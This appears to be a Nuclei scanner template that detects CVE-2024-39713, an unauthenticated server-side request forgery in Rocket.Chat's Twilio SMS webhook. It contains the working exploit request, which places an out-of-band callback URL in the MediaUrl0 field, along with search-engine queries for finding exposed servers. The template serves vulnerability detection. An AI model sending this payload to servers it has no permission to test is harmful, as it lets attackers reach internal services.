Rocket.Chat - Server-Side Request Forgery (SSRF)

id: CVE-2024-39713

info:
  name: Rocket.Chat - Server-Side Request Forgery (SSRF)
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    A Server-Side Request Forgery (SSRF) affects Rocket.Chat's Twilio webhook endpoint before version 6.10.1.
  impact: |
    Unauthenticated attackers can force the server to make arbitrary requests, potentially accessing internal services.
  remediation: |
    Update Rocket.Chat to version 6.10.1 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-39713
    - https://hackerone.com/reports/1886954
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2024-39713
    cwe-id: CWE-918
    epss-score: 0.03201
    epss-percentile: 0.86528
    cpe: cpe:2.3:a:rocket.chat:rocket.chat:*:*:*:*:*:*:*:*
  metadata:
    vendor: rocket.chat
    product: rocket.chat
    shodan-query: http.title:"rocket.chat"
    fofa-query: title="rocket.chat"
    google-query: intitle:"rocket.chat"
  tags: cve,cve2024,hackerone,ssrf,oast,rocket-chat,vkev,vuln

http:
  - raw:
      - |
        POST /api/v1/livechat/sms-incoming/twilio HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "From": "5551123456782",
          "To": "5551987654323",
          "Body": "SMS message",
          "NumMedia": 1,
          "MediaUrl0":"http://{{interactsh-url}}",
          "MediaContentType0":"application/json"
        }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<Response></Response>"

      - type: word
        part: content_type
        words:
          - "text/xml"

      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"
# digest: 490a0046304402206189cabc7e464ea4f6f0550bfdf105ec0566ea0499106a3980a955efeb13501302206609b5722c0d7a1d7bedbc582ac3d63c50264c7b135696d3442d80082469bfd4:922c64590222798bb761d5b6d8e72950